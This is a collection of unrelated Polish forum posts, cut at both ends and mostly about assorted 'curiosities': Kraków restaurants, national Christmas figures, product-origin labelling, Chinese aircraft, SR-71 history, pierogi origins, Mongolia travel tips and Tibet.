na prawo od tego mostu). Kuchnia - jak nazwa wskazuje - kresowa + takiż sam
wystrój: jak w stanicy sienkiewiczowskiej. Nie byłem tam dobry rok, ale wtedy
mieli znakomitą wódkę na miodzie. Warto spróbować.

A z orientalnych: to jeszcze na sushi, naprawdę bardzo dobre, warto zaglądnąć do
Dong Yang na Straszewskiego (zachodnia część Plant, blisko Rynku i Wawelu, obok
Filharomonii i hotelu Radison). Porcja dla dwóch osób ok. 70,- zeta, ale warto -
jak utrzymywał znający się na rzeczy kumpel spoza Polski. Knajpa jest stworzona
przez autentycznego Koreańczyka i to z Północy - taka ciekawostka. Z tym, że
zastrzegam: tam można jeść tylko sushi, reszty stanowczo nie polecam. Mają tam
też japońskie piwo - zdecydowanie nie jest warte ceny, coś koło 10,- za 0.33 l.

kilka ciekawostek świątecznych
tak wogóle to święty Mikołaj jest patronem bardzo wielu profesji m.in.
złodzieji (?!)

tego nie udalo mi się znaleźć ale jeżeli mnie pamięć nie myli to choinka i
podkładanie pod nią prezentów przyszło do nas ze Szwajcarji, w którym roku to
juz nie pamiętam.

jak to jest ze świętmym Mikołajem w innych krajach:
Rosja - Babuszka zwanym niegdyś Dziadkiem Mrozem
Włochy - Babbo Natale który zamiast Śnieżynki ma brzydką wróżkę której na
imię Befana
Szwecja - skrzat Jultomen, który oprócz prezentów zostawia wierszowane zagadki
Brazylia - Papai Noel, czyli Ojciec Boże Narodzenie.
Chile - Viejo Pascuero, czyli Staruszek Boże Narodzenie.
Chiny - Che Dun Lao Ren, Bożonarodzeniowy Staruszek,
Grecja - mają dwóch, St. Nicholas motywuje ludzi do dawania innym prezenów a
St. Basil pojawia się w noc sylwestrowai robi za naszego św. Mikołaja.
Dania - Julemanden w towarzystwie elfów zamieszkujących strychy, lubi ryżowy
puding i mlekozostawione przez dzieci
Francja - Le Pčre Noël jest od prezentów a Le Pčre Fouettard od karcenia
Austria - Christkind, czyli Boże Dziecko.
Hiszpania - Baltazar który zamienił sanie z reniferami na osiołka
Niemcy - der Weihnachtsmann, czyli Świąteczny Gość

A ja za chiny nie umiem lewą pisac po tablicy, tak sie nauczyłam prawą. Więc
moi uczniowie zawsze z niedowierzaniem patrzą, jak smaruję po tablicy prawą, a
potem lewą w notatkach
Z ciekawostek, to dodam, że umiem pisać do góry nogami i czytać też - lata
zajęć one-to-one zrobiły swoje - pisząc do góry nogami tak samo ładnie piszę
prawą jak i lewą ręką
W ogóle leworęczni są zdolniejsi pod wzgledem przestawienia się na oburęczność.
Moją zmorą jest samochodowa dźwignia zmiany biegów. Za przeproszeniem, ni
ch...a Nie umiem.

gratulacje! rzeczywiscie wasze obroty sa wyzsze niz podaje to wasza oficjalna strona i wynosza 670
milionow euro! czyli do kwoty ktora podajesz brakuje jeszcze 30 milionow euro, ale skoro wchodzicie
do Chin, to z pewnoscia w przyszlym roku przebijecie obroty 700 o ktorych tak marzysz.
CIEKAWOSTKA:
wasze obroty w 2004 roku podskoczyly w porownaniu z 2003 o tylko ok. 20 milionow (z 650 do 670
mln) w tym czasie nasze (amway) obroty wzrosly z 4,9 miliarda do 6,2 miliarda netto, czyli o 20% (1,3
miliarda), czyli nasz wzrost w jednym roku rowna sie dwukrotnosci waszych calych obrotow).
_______________________
a wiec moje drugie obliczenie jest i tak w stosunku do Oriflejm zawyzone. Mozna powiedziec, ze zycze
wam takich przelicznikow i wyzszych w przyszlym roku. Kazda firma rozwijajaca sie jest wspaniala i
niesamowita - gratuluje Ci wyboru dostawcy, rozwijajacego sie w dobie powszechnego bankructwa i
nieprtzyjemnych spraw. To niesamowite. MLM to potezna dzwignia !!! Razem stanowimy powazne
zagrozenie dla 'tradycyjnego', drogiego, nieefektywnego handlu.

Bedzie. Tyle, ze zwroc uwage, ze tu nastapilo istotne przetworzenie towaru z surowca lub polproduktu w produkt. Natomiast b. czesto tak bywa, ze nie nastapilo nic istotnego - przykladem szwedzki szampon wlewany w slowackie butelki i juz jest to "Made in Poland". Stollwerck w Jankowicach pod Poznaniem produkuje same "polskie czekolady" mimo, ze polega to w przypadku czesci asortymentu na wlozeniu w Polsce niemieckich tabliczek czekolad w niemieckie pudelka. Przypomina mi to nieco buty Gino Rossi "Made in Italy, Slupsk". Producent twierdzil, ze co prawda calosc produkcji i komponentow sa "made in Poland" ale wklejki sa rzeczywiscie wloskie. Ot, jakbys Ferrari nazwal polskim samochodzem bo tabliczki znamionowe sa faktycznie robione w Polsce.

asp420 ma 150% racji - czasem w produkcji i miejsca pochodzenia robi sie takie walki, ze glowa boli. Jako ciekawostka - oscem chrzestnym czegos takiego bynajmniej nie sa Chiny czy "tanie miejsca produkcji", a Stany Zjednoczone, gdzie czesto spotyka sie "made in Mexico from American components", tyle, ze tu konsumenci cos takie wymusili (aczkolwiek jest to czysto iluzoryczne wrazenie). I jest to problem, duzo wiekszy niz sie wszystkim wydaje.

Że JH-7 jeszcze polatają to pewnik, ale ciekawsze jest, czy będą produkowane.
Potencjał rozwojowy tej konstrukcji nikłym jest, ale i tak jest to najbardziej
zaawansowany chiński seryjny samolot. Gdyby udało się włożyć doń Al-31,
utrzymać cenę na rozsądnym poziomie i osiągnąć takiż poziom produkcji seryjnej -
czemu nie. I tak dużo lepiej niż Q-5. No i jeszcze kwsetia układu do lotu wg
powierzchni ziemi.
Ciekawostką jest też projekt super Y-8, czyli jeśli się nie mylę wskrzeszenia w
nowej postaci poczciwego Ana-12 po 30 latach od zakończenia produkcji w
Sowiecie. Lepiej by im było zainwestować w Ana-70, ale że ich nie lubię ani nie
życzę im wielkich sukcesów - niech sobie w to brną :-)

Gość portalu: grzesi napisał(a):

> Fakt, że to zabytek... i czas na niego był najwyższy...
> ale jako ciekawostkę podam, że w latach 97-99
> "wpompowano" w niego duże pieniądze (różnego typu
> modernizacje).

No, nie takie duże; o ile pamiętam, to wymieniono tylko radary nawigacyjne i
zainstalowano nowy IFF. No chyba, że coś jeszcze...

> Sytuacja jak z "Orłem" - remont, nowe
> systemy (opracowane od podstaw... lub zakupione
> specjalnie na tą jednostkę) 2-3 lata użytkowania i na złom...

?? "Orzeł" jest w służbie od 1986 r. i nikt go nie zamierza wycofywać.
Faktycznie, MON miał w ubiegłym roku taką koncepcję, jednak zrezygnowano z niej
po stanowczych protestach PMW i - co ciekawe - Amerykanów, którzy bardzo cenią
sobie doświadczenia zdobywane przy ćwiczeniach z "Orłem" (okręty tego typu mają
m.in. Chiny, Indie i Iran, czyli państwa albo dla USA "rozbójnicze" albo co
najmniej podejrzane).

Pozdro

Gość portalu: Mupasz napisał(a):

> tu poszukaj
> www.gbppr.dyndns.org/PROJ/mil/index.html

W uzupelnieniu moge podac ze urzadzenie to (produkcji rosyjskiej) wazy 28 funtow, moc 4 W, potrafi
zaklocic pocisk do 200 kilometrow. Ciekawostka. Producentem tego jest rosyjska firma Aviakonversia
ktora to urzadzenie wystawila w 1997 roku w jednym salonow lotniczych. Produkcja natychmiast
spodobala sie amerykanom do tego stopnia ze kupuja wszystko kazdego roku na sume ponad 200 tys. $.
Byc moze rowniez atak bombowy na ambasade chinska w Belgradzie mial zwiazek z produkcja
podobnego urzadzenia w Chinach (praktyczne zastosowanie)

Gość portalu: zwiadowca napisał(a):

> Wiesz Misza, w Indiach produkuja motocykl polskiej konstrukcji, Junak. I
wcale
> to nie jest dowod na to, ze jest to pojazd na miare naszych czasow. Dla
> biednych Hindusow jest to znosny srodek transportu, dla bogatych np.
Francuzow
> moze to byc co najwyzej ciekawostka retro.

Ale czy sadzisz ze dzisiejsze Chiny po wzgledem naukowo-technicznym znajduja
sie na poziomie ZSRR wz.1943 :)))) ?

A dopotopny M2HB znajduje sie na wyposazeniu USA do dzis. Wywod: jesli bron
dobra to ja produkuja dlugo. Chinczycy mogli skopiowac M2 (roznica
technologiczna jest minimalna) ale nei zrobili tego...

Ciekawostką może być fakt, że cała sprawa inspirowana była pośrednio atakiem
chińskich kutrów torpedowych na kążownik "Izumo" w Szanghaju. Chińczykom udało
się wówczas uszkodzić ten okręt, ale stracili - w różny sposób - wszystkie
cztery kutry. Do prasy przedostała się zniekształcona informacja, że chińscy
patrioci samobójczo zaatakowali japoński pancernik na łodziach wypełnionych
dynamitem i plotka ta krążyła przez dłuższy jeszcze czas - Ilustrowany Kurier
Codzienny, który w 1939 r. pierwszy nakręcał sprawę "polskich żywych torped"
powoływał się właśnie na ów rzekomy chiński przykład.
Pozdro

Po co wlatywać?
Wszystko pięknie, jest tylko taka subtelna różnica:

- SR-71 w 1964 roku już latał, w dwa lata później był już w linii - to na
przełom lat 60 i 70 przypada okres jego największej aktywności,
- prototyp Mig-31 powstał w 1976, do jednostek liniowych pierwsze sztuki
zaczęły docierać 1980.

W tym okresie (lata 80-te) rola SR-71 w stosunku do ZSRR sprowadzała się do
prowokowania i stawiania w stan gotowości systemów opl. W obliczu toczących się
rokowań zbrojeniowych raczej nie dochodziło już do fizycznego naruszenia
przestrzeni ZSRR (ale raczej z powodów politycznych niż technicznych). Zadania
przejęły satelity, a ówczesna aparatura na pokładzie SR-71 umożliwiała już
analizę obiektów z dość dużego dystansu.

Protoplasta Miga-31 czyli 25-ty nie był w stanie przechwycić SR-71, potwierdził
to zbiegły pilot Bielenko.

Tu link dla dalej ciekawych tematu.
www.wvi.com/~sr71webmaster/mig25.html
Ciekawostka dotycząca SR-71 - Chiny złożyły 500 (sic!) oficjalnych protestów
dotyczących naruszenia przestrzeni powietrznej przez SR-71 właśnie.

'Do Bocianiv.--Jozza
bocianiv25
Sa dostepne w handlu Race modele takie samne z napisami jak orginbaly i nic
wiecej,te narty niemaja nic wspolnego z wyczynem,to sa handlowe Race tzw z
najwyzszej polki.
Ubrania wysokiej klasy sa szyte przez firmy wlasciwe.Koszt kurtki dochodzi do
1000dolcow,spodnie sa tansze.Tych rzeczy nie robi sie masowo,lecz w pewnych
seriach.W Chinach sie robi masowke ktora kosztuje nie wilee i jest dostepna dla
wszystkich.
Jozza,
Taksamo jest z wiazaniami,rynkowe sa takie same jak Race ale nie 'posiadaja
tych nastaw co prawdziwe, ',gdyz ludziska nogi sobie z tylka powyrywali.
Dla ciekawostki moje sa zoltoczarne.
Pzdr i zycze zdrowych wesolych swiat.Sky.
P.S Jozzo zaoszczec sobie szukanmia i sie meczenia gdyz ja wiem swoje a Ty
swoje.

miasta.gazeta.pl/warszawa/1,47542,2333803.html
Cytuję z linka:

"Kolebką pierogów są Chiny. Stamtąd przez Mongolię i Rosję średniowieczni podróżnicy przywieźli je na tereny dzisiejszej Rosji, Ukrainy i Litwy. W XIII wieku przywiózł je do nas z Kijowa dominikanin i podróżnik Jacek Odrowąż. Ciekawostką jest, że mniej więcej w tym samym czasie arabscy kupcy prowadzący interesy z Chińczykami zaszczepili Włochom miłość do ravioli - tamtejszej odmiany naszych pierogów. Tyle że nasze pierogi, z ciastem robionym na bazie mąki, wody i odrobiny jajka, różnią się od ravioli kształtem i wielkością. Ich włoskim braciom bliżej do naszych wigilijnych "uszek" i rosyjskich pielmieni. W Polsce pierogi należały do dań pospolitych. Pierogi z mięsem, zwykle wieprzowym, wjeżdżały na stoły od święta. Na co dzień jadano uboższe wersje - ze słodką kapustą, jagodami, grzybami. Pierogi ruskie - z farszem z białego sera, ziemniaków oraz cebuli - pochodzą z Podlasia. Z Rosją nie mają nic wspólnego. A chińskie pierogi? Kucharze twierdzą, że choć Chińczycy je wymyślili, nigdy nie nauczyli się ich przyrządzać".

Myślę , że ten spór na w kwestii "ruskich pierogów" jest tym samym zakończony.
Z poważaniem :
ryszq
P.S. Przyrzekam, że to ostatni wpis o pierogach.;-)

ANKIETKA OGRODOWA

nic: Ktom3
imię: Tomek
płeć:M
wiek:30
stan cywilny: Ż
rodzina: żona, synek (9 miesięcy)
zawód/zajęcie: prawni/eksport mięska, uprawa krzewów róż
wykształcenie ogrodnicze: brakuje-szlifuje się
siedziba: kraj/miasto: Polska/okolice Puław
rodzaj ogrodu: mały przydomowy, około 250m, naturalny ....o charakterze leśnym
z suchym potokiem w stylu japońskim i jedną rabatą bylinową
ulubione rośliny
w ogrodzie: duże drzewa liściaste - brzozy, klony, iglaki-różne, trawy,
żurawki, hosty, liliowce ....
w domu: nie interesują mnie zbytnio, są jakieś draceny,fiołki, kalanchoe, jeden
storczyk
ulubione potrawy: pizza, różne sałatki, prawie wszystki słodkości
ciekawostki w kolekcji: bambus phylostachys aureoseculata spectabilis
inne hobby: fotografia tradycyjna- portret, sytuacyjna
co lubisz najbardziej ? dużo rzeczy
.. a czego nie znosisz? kiedy ludzie na pewien czas ślepną i czarne nazywają
białym
ulubione żarełko: czekoladki, jogurt, orzechy laskowe, miód
czego nie jadam: dużo rzeczy, np. dalekowschodnie japoński, chińskie wynalazki
ulubiony napój bezalkoholowy: cola
ulubiony napój wysokoprocentowy: polskie piwo
kawa: sporadycznie, czarna z dużą ilością cukru
herbata: kilka dziennie
pora dziennej aktywności: 5-6 do 22-23

uuuups.. za taki wniosek.

Przysłowie chińskie nie ma nic wspólnego ze ściągami.
Ciekawostką było jedynie to, że jakiś nauczyciel potrafił je zastosować w ciekawym kontekście.

Jest ono starsze od nas wszystkich i zapewne jest w nim wiele racji.
Nie jestem "wojującą feministką", więc skłaniam się ku temu przysłowiu.

Oczywiście Każde miasto ma wielu głupców...

malawi3 napisała:
> a) jak wyglada sprawa z gazem (do gotowania) - czy sa tam dostepne naboje
> campingaz (te niebieskie),

Na Black Markecie w UB nie widziałem. Miałem swoje.

> b) jedzenie - zupki chinskie, itp sucha karma? nie chce mi sie tego ciagnac z
> Polski. Jakies gotowe sosy do makaronu/ryzu?

Chińskie zupki (w opakowaniach większych niż w Polsce - są w dużym wyborzem
tzkże poza UB. Wybór konserw ograniczony. Słodyczy sporo. Sosami się nie
interesowałem.

> c) woda butelkowana poza UB?
Bez problemu.

> no i najwazniejsze - miejsca godne polecenia
> poki co planujemy Gobi - przejazd przez srodek Mongolii - Moron - jezioro
> Hosgvol. Mamy tylko 3 tygodnie :(((

Rozumiem, że przejeżdżacie przez Terchijn Tsagaan Nuur, Cecerleg i Charchorin?
Nie zapomnijcie o przełomie Sumyn Goł i wodospadzie w okolicy. Co do Chorgo -
spróbujcie odnaleźć lodową grotę. No i ciepłe źródła (raczej błotko). Na
trasiee powrotnej z Moron do UB- 2 wygasłe wulkany - ale to wiesz, bo masz
przewodnik :)
Z innych ciekawostek - kilka lat temu pojawił się w Mongolii
kilkusetkilometrowy uskok tektoniczny widoczny dobrze z samolotu. Szczegółów
nie znam. Dla koneserów.

Kornel
_____________________________________
"Kornel: moje podróże" kornel-1.webpark.pl

kokolores napisała:

> Jeszcze sie nie znamy.Czesc jestem Koko(mimo ,ze niektorzy daja mi rozne
dziwne
>
> imiona).Jestem tu nowa i na moje nieszczescie "zgrzeszylam" w pierwszy dzien
> mojego bytu na tym forum.Odwazylam sie skomentowac wypowiedz stalego
> bywalca.Teraz bede chyba pokutowac.No coz,przezyje.Pozdrawiam.
***********************************
Hallo Koko,
milo mi Cie poznac.. i co ciekawostka kilka fascynujacych ´chinskich dziewczat
nazywalo sie (z chinskiego na nasze) "cocoa"
uff.. juz sie zastanawiam jakie masz oczy....
A co do zgrzeszenia to sie po pierwsze nie przejmuj bo jaa na ten przyklad pod
grzechem rozumiem zupelnie cos innego (np. "no smoking after shot") aa po
drugie jak juz chcesz naprawde grzeszyc to prosze wpisz mnie na swoja liste o
ile to jest mozliwe..
smile
janusz

Swiadczy to o braku serca dzialaczy zrobotniczego maczesteru. Chinczycy wydaja
wielkie pieniadze, zeby zobaczyc beckhama i innych "gwiazdorow" a dostaja - no
wlasnie dostaja marny towar za wielka cene. I co majapowiedzic rodzice
oszukanym dzieciom z Chin, Korei i innych panstw. A moze taniej byloby
zrobic "trupe MU",w ktorej zatrudnionoby bezrobotnych z Manczesteru, przebrac
ich w trykoty MUU i wysylac jako ciekawostke po swiecie.

BTW skad dostac Koszulke Penarolu Montevideo??? z Carlosem Jacquesem

pzdr

Tym razem się nie mogę zgodzić. Potencjał ludnościowy jest ważny. Pół roku temu
był mecz Brazylia - Urugwaj. W meczu tym padł remis 3:3. Urugwaj ma 3.5 mln
mieszkańców, Brazylia 150. Co prawda Urusi teraz dostają trzy bramki od
Wenezueli u siebie... I po raz pierwszy do mnie dotarło, że brazylijskie
sukcesy to nie (tylko?) wrodzony talent i korzyści wynikające z bycia sportem
narodowym. Brazylia po prostu ma największy potencjał ludnościowy z krajów w
których piłkę traktuje się naprawdę poważnie.
W Indiach i Chinach piłka dotychczas nie miała znaczenia, ale w Chinach to juz
sie zmienia.
Odpowiednią organizacją można stać się znaczącą siłą (Holandia, Czechy,
Skandynawia, Irlandia), choć w grę wchodzi także usportowienie narodu. MOżna
też tajemniczo dorobić cudownego pokolenia jak Austria czy Węgry (choć to też
nie do końca - w tych krajach reprezentacje grały już od początku
dwudziestego), są kraje zagadki jak Bałkany czy Portugalia.
I na zakończenie ciekawostka, w jakimś wywiadzie trener reprezentacji Islandii
powiedział, ze z takim potencjałem nie można myśleć o sukcesach, ale mozna
zbudować przyzwoitą drużynę. Islandia ma 250 tyś mieszkańców.

Ponieważ takich ciekawostek jest zdecydowanie umiarkowana ilość, więc powtarzają
się co jakiś czas - ot, choćby w konsonantkach, samosiach, itp.
Na dobry początek dorzucę znane "szóstki" spółgłoskowe - koNTRCHWyt,
nowo(CHRZCZenie)c i zmarSZCZKa. W samogłoskach przodują nazwy chińskie, np.
Liaoyuan.

Najdłuższą siecią linii kolejowych szczycą się kraje największe. To oczywiste.
(w tys. kilometrów)
Stany Zjednoczone 234.1
Rosja 86.0
Chiny 67.4
Indie 59.4
Niemcy 37.5
I tu ciekawostka! Polska jest w pierwszej dziesiątce wyprzedzając takie kraje
jak Kanada, Szwecja i Australia! To dlatego kolej jest największym
beneficjentem budżetu państwa. A jest zupełnie nierentowna, więc kosztuje
drogo. A TIRy jeżdżą po drogach i zabijają ludzi... W przewozach pasażerskich i
towarowych Szwecja i Finlandia nas wyprzedzają. Ale też w kategorii "dbałość o
środowisko" są one w pierwsej piątce a Polska poza tabelą :(((. Czysta głupota.
No i się zdenerwowałam, cholera.

Porter,
ja sama nie bylam, ale moja kolezanka mieszka w Chinach - tu jej artykuly:

O Szanghaju: www.pinezka.pl/content/view/703//

O Chinach i zwyczajach mieszkańców: www.pinezka.pl/content/view/631//

O kuchni chińskiej: www.pinezka.pl/content/view/715//

O "ciekawostkach" tejże kuchni: www.pinezka.pl/content/view/508//

Pod każdym z artykułów znajdziesz ikonkę "napisz do autorki" - tam mozesz
zadawać pytania, Beata wciąż mieszka w Chinach i z pewnością chętnie odpowie.

Miłej podróży
kreola

Co przywoze:
1 Oryginalne lokalne maski i inne przedmioty typowe dla regionu
W ten sposob mam juz ladna kolekcje masek z Afryki (Kenia i Burkina Fasso),
Peru, Brazylii, Meksyku, Kolumbii i Brytyjskiej Kolumbi (prowincja w Kanadzie),
a takze z Korei, Chin, Filipin i Nowej Gwinei. Do tego dochodza inne
ciekawostki. Np: tkany afganski wojenny dywanik z rosyjskimi transporterami
opancerzonymi, nargilla, czyli fajka wodna z Rawalpindi w Pakistanie , Kolekcja
drewnianej broni z wioski indianskiej w prowincji Acre w Brazylii.
Meksykanskie pas i sombrero kupione na rynku w Durango.
Co do sztuki ludowej, lubie i przywoze lokalne malunki, np: duze rysunki
Australijskich aborygenow, na korze z Meksyku, malowidla na papierze z Korei
czy na jedwabiu z Chin. Mam tez pare ciekawych wyrobow metaloplastyki z Peru.
Co do alkoholi, to jak inni staram sie przywiezc cos specjalnego, ale dobrego i
nadajacego sie do picia w naszym klimacie. Odpadaja wiec butelczyny z
jaszczurkami czy wezami z Azji Poludniowo Wschodniej.
Przywiozlem i polecam: Pisco z przepisem na "pisco sour". jest to specjal
chilijsko-Peruwianski. Tequia z Meksyku, ale nie taka, jaka mozna kupic w
Warszawie , czy na lotniskach w strefie bezclowej (na Margarite). Meksykanie
powiedzieli mi, ze do dobrych tequilli zalicza sie ta z podkowa na etykietce
(wiele roznych gatunkow i duza rozpietosc cen). Pilem tez tequille zrobiona w
stylu koniaku, ale to juz kosztuje fortune. Jezeli kraj z ktorego wracam nie ma
nic specjalnego, kupuje wtedy dobra flaszeczke w strefie wolnoclowej. W
Londynie jest dobry wybor whiskaczy, a w Amsterdamie czy Frankfurcie tez mozna
cos wybrac.
Pozdrowienia
Pozdrowienia

Pascal jest dobrym przewodnikiem organizacyjnym czyli gdzie spac, gdzie jesc
itp (tak w ogole pascal to jest polska wersja lonely planet-maja licencje.
Sprawdzcie sobie np. Chiny-identyczne informacje) natomiast jesli zalezy ci na
inforacjach a zabytkach o tym co warto zwiedzac o kulturze i ciekawostkach dot.
danego miejsca to polecam polsko jezyczne przewodniki wydawnictwa RM
www.rm.com.pl maja tytul np. Wenecja od srodka (jest ich tylko kilka i z zasady
w dwoch wersjach malej i duzej, obie w porzadku chociaz polecam duza) i
angielskie odpowiedniki tychze to tak jak ktos wspomnial wczesniej Discovery
Channel www.insightguides.com no i polecam polska wiedze i zycie. duzo zdjec,
duzo informacji i duzo ciekawostek. Sama potrafie sie przygotowywac do
wycieczek jako pilot i jeszcze nie znalazlam zadnego turysty ktory by mnie
zaskoczyl pytaniem na jakie by nie bylo odpowiedzi w przewodniku (moze mialam
malo wymagajacych turystow?).Milego podrozowania.

Trochę prawdy w tym jest.Jednak zapewniam cię że są też i inni turyści -
ciekawi świata.Właśnie wróciłam z podrózy po Chinach.Najpierw czytalam wiele
na temat regionu ,kraju,kultury .Wybrałam dobre biuro ,bardzo dobrych
przewodników i jestem zauroczona tym krajem.Turystów tam niedużo ,bo kraj
okgromny a Chińczycy także zwiedzają swój kraj. Wchodziłam do knajpek
gdzie jedzą tylko Chińczycy (choć w hotelach mieliśmy smaczne chińskie
jedzenie) , na targi i do luksusowych sklepów . Ponieważ targowanei się o
cene jest tam wskazane - także i ja z uśmiechem targowałam się kupując
jakieś drobiazgi a sprawiało to mi wiele radości ,także sprzedawcom. Jako
ciekawostkę podam ,że w pewnym bardzo zabytkowym miejsciu , jedna z
chińskich turystek - zwyczajna pani z prowincji dalekiej, poprosiła mnie
na migi żebym z nią zrobiła sobie zdjęcie ,bo ona je pokaże swym
koleżankom.Bardzo mi było przyjemnie z tego powodu ! Podróz wspominam tak
ciepło ,wrażenie na mnie zrobił ten kraj, a hotele choć luksusowe typu
Holliday Inn były dla nas tylko przystankiem na krótki oddech ! Tam
życie toczy się na ulicy i my też do tego przywyklismy, tańcząc na placach
i biegając przez nitki wody z tryskających fontann . Zapraszam do Chin!

Napisalam to po to bys mial jakies rozeznanie na ten temat.Dlatego
podstawa w tym przypadku to nie przyjezdzac na weekend bo wtedy jak
znajdziesz kwatere za 100 $ to bedziesz szczesliwy<mowimy oczywiscie
o normalnych warunkach mieszkalnych nie przerobionym garazu dla
turystow gdzie czesto mieszkaja polscy studenci i placa 5$ za nore
hehe ale liczy sie cena;)>Na Krymie mozna wydac kazda kwote
pieniedzy;)zalezy jaki standard zycia prowadzisz,biore pod uwage ze
jedziesz z rodzina nie jestes studentem ktorzy jada tam na zupkach
chinskich i pomidorach;)W ubieglym roku ceny owocow byly
astronomiczne 3x drozsze niz w Polsce czy chocby w Moskwie.Jak
wrocisz zobaczysz jaka u nas taniocha;);).Jako ciekawostke:to lubie
te poobwieszane tonami zlota rosjanki na plazach;)fajny widok;)

Pomyłka! USA wzbogaciły się najpierw na I Wojnie Światowej, oraz
na "dwudziestoleciu międzywojennym", dopiero potem na II, zresztą już nie tak,
jak na I - bo brały w niej dużo bardziej bezpośredni udział; oczywiście w
wojnie, a nie w jakichś tam poprzedzających ją lokalnych konfliktach, jak na
przykład w Polsce, Norwegii, Chinach, Hiszpanii, Etiopii, albo gdzieś tam
indziej...
A w ogóle - to ciekawostka: wiecie skąd wziął się "leasing"? - ano, z
ustawy "Lend & Lease", dzięki której można było omijać międzynarodowe
uwarunkowania nieźle na tym zarabiając, bez mieszania się w nieswoje sprawy!
Pierwszym obiektem tego prawa była dostawa kilkudziesięciu okrętów wojennych
dla Wielkiej Brytanii (m. in. polski okręt podwodny "ORP Jastrząb" oraz
niszczyciel, który go zatopił); niektórzy do dziś jeszcze tego nie spłacili
(np. wyspy Bermudy zostały przekazane przez WB na 99 lat w zamian za w/wym.
dostawy; do dziś słynna jest sprawa brytyjskiego krążownika "Edinbourgh",
który został zatopiony przez Niemców na Dalekiej Północy z ładunkiem
kilkudziesięciu ton złota, będącego zapłatą za dostawy wojenne dla ZSRR...)...
A w ogóle, to nie ma o czym mówić: gdy nie wiadomo o co chodzi, to na pewno
chodzi o pieniądze"...

Dziekuje, zapomnialem ...
... dodac, choc moze nie wszyscy wiedza, ze jest bardzo, nie tyle radosnym,
co zastanawiajacym, ze po karakorum, podobna najwspanialszym miescie na ziemi,
budowanym i zdobionym przez najlepszych rzemieslnikow z calej azji (i europy
czesciowo tez, nowogrodzianie, bulgarzy nadwolzanscy) nie pozostanie nawet
sladu. I tu ciekawostka, za sprawa nowej dynastii chinskiej.
Jojku, a mowia, ze historia sie niepowtarza tylko czasy sie zmieniaja.
A ludzie jak mieli tak maja w glowach poukladane, zatem precz z moralnoscia
w polityce i czekamy na chiny.

Gość portalu: historyk napisał(a):

> Bo jemu sie wydaje, ze Szwajcarzy przez kilkaset lat produkowali tylko zegarki.
> No i sery (z dziurami) oczywiscie.
> No i ze w Szwajcarii zyja krowy koloru fioletowego z takim napisem
> na boku ( nie, nie bede reklamowac tej firmy ).

Afryka do chwili podboju przez Wielkiego Bialego Cywilizowanego Czlowieka Europejskiego, miala wyjatkowo cywilizowane zachowania spoleczne. Wiekszosc konfliktow miedzyplemiennych bylo rozwiazywanych przy pomocy demonstracji sily, tancow rytualnych uzbrojonych wojsk itp. Co nie znaczy, ze w stosunkach wewnetrznych nie bylo tam krwawych tyranii i zamordyzmu.
Dopiero po okresie kolonialnym nauczyli sie jak sie w sposob "cywilizowany" eksterminuje spolecznosci przeciwnikow itp.
Z ciekawostek cywilizowanej kultury europejskiej mozna dodac to, ze Anglia w XIX w spelniala wobec Chin podobna role jak Kolumbia obecnie wobec USA a kraja trzego swiata wobec Europy - byla glownym dostarczycielem narkowtykow, ktorymi zasypywala Chiny, przeobrazajac niegrozne poczatkowo zjawisko w plage spoleczna.
O misjach kulturalnych w obu Amerykach chyba nie trzeba wspominac?
Natomiast przyszlosc?
Uwazam, ze przedwczesne zlaozenie politycznej unii europejskeij sakzuje ja na rozpad (byc moze krwawy) podobnie jak Austo-Wegry, czy tez Jugoslawie.
Najsmiesniejsze, ze gdyby skupiono sie wylacznei na powiazaniach gospodarczych, to ich skomplikowana siatka zapobiegalaby narastaniu konfliktow politycznych czy etnicznych, natomiast po stuleciu takich ukladow faktycznie wytworzyloby sie samoistnie poczucie bycia europejczykiem narodowosci jakiejstam.

He! Widzę że nie jestem sam Lauro26. Podpisuję się pod tym co napisałaś.
Dorzucam jeszcze parę kwiatków moich starych:
"Dlaczego wszyscy twoi koledzy mają pracę, a ty nie?"
Otóż wyjaśniam: połowa kolegów i koleżanek magistrów zmywa gary w Anglii, a
druga połowa pracuje bo (uwaga!) starzy załatwili im pracę. Nie raz im to
wygarnąłem przy okazji kolejnej pogadanki na temat koszmarnych kosztów
utrzymania mnie darmozjada.
"Nie będziemy cię utrzymywać do końca życia! Jak do końca lutego nie znajdziesz
pracy, to pakuj się!" (najnowszy text starego).
Z ciekawostek: w zeszłym roku załatwili mi pracę (to był jeden raz) - miałem być
ochroniarzem w sklepie na pół etatu (ja: mgr, studia podyplomowe). Uch! Ale była
awantura, że za chiny ludowe nie skorzystam z ich wspaniałej oferty, i
argumentacja w stylu: "od czegoś trzeba zacząć!" itd... Ciekawe co bym za rok
wpisał do CV? Mgr, inż, doświadczenie - pilnowanie regałów z piwem.
Siedząc w domu robię wszystko, żeby nie wchodzić im w drogę. Nie ciągnę od
starych jakiejś koszmarnej kasy (oboje pracują). Fajki, gazeta i "zresetować"
się raz na tydzień to są moje wszystkie potrzeby.
Staram się nie słuchać ciągłego marudzenia i wypominania. Robię swoje, czyli
szukam pracy tak jak umiem. Ale czasem tak mi dają w kość, że żyć mi się
odechciewa. Zero zrozumienia. Zero.

P.S. Proszę nie odpisywać na mój post w stylu: schowaj swoją magisterską dumę
itp. Albo: jak ja zaczynałem pracować 10 lat temu to... (10 lat temu to był raj
na ziemi).

1.
Qrcze, czyli tytuł powinien być oderwany od treści??
Ot ciekawostka przyrodnicza. Zresztą ton artykułu, też jest wymowny.

2. Tak, tak "chiński mur", szkoda, że dziurawy.

3. Bądź łaskaw nie przypisywać mi lektur. Nie jestem w szkole i czytam co chcę,
a nie tylko wg Twojego wyboru "Nasz Dziennik".

4. W sprwie Kurski kontra Lis poczekaj na sąd. Jest pewne, że informację z
prywatnych rózmów rozpowszechnił Lis. Czy to jest czysta gra.

5. A interesy Agory są ciekawe i gdybyś śledził wypowiedzi Rapaczyńskiej,
Łuczywo, Michnika, a także notki prasowe, o prostych faktach np akcjonariat,
pożyczki, zakupy, zyski itd wiedziałbyś o czym mówię.

CIEKAWOSTKI: Momy Gości z Tybetu, a co o nim wiymy?

Chińscy agenci

Polityczne akcenty nie omijają zakopiańskiego Festiwalu Folkloru Ziem
Górskich. Zespół z Tybetu przyjechał w obstawie chińskich tajniaków, a w
Zakopanem pojawił się przebywajacy na wygnaniu w Londynie przedstawiciel
niezależnego państwa tybetańskiego.

Zespół z Tybetu robi furorę swoimi oryginalnymi strojami i występami. Razem z
góralami z Himalajów przyjechało trzech skośnookich agentów, którzy pilnują,
aby Tybetańczycy zbyt mocno nie przesiąknęli powiewami wolności.

Od chińskiej inwazji na Tybet w 1950 roku ponad 1.2 miliona Tybetańczyków -
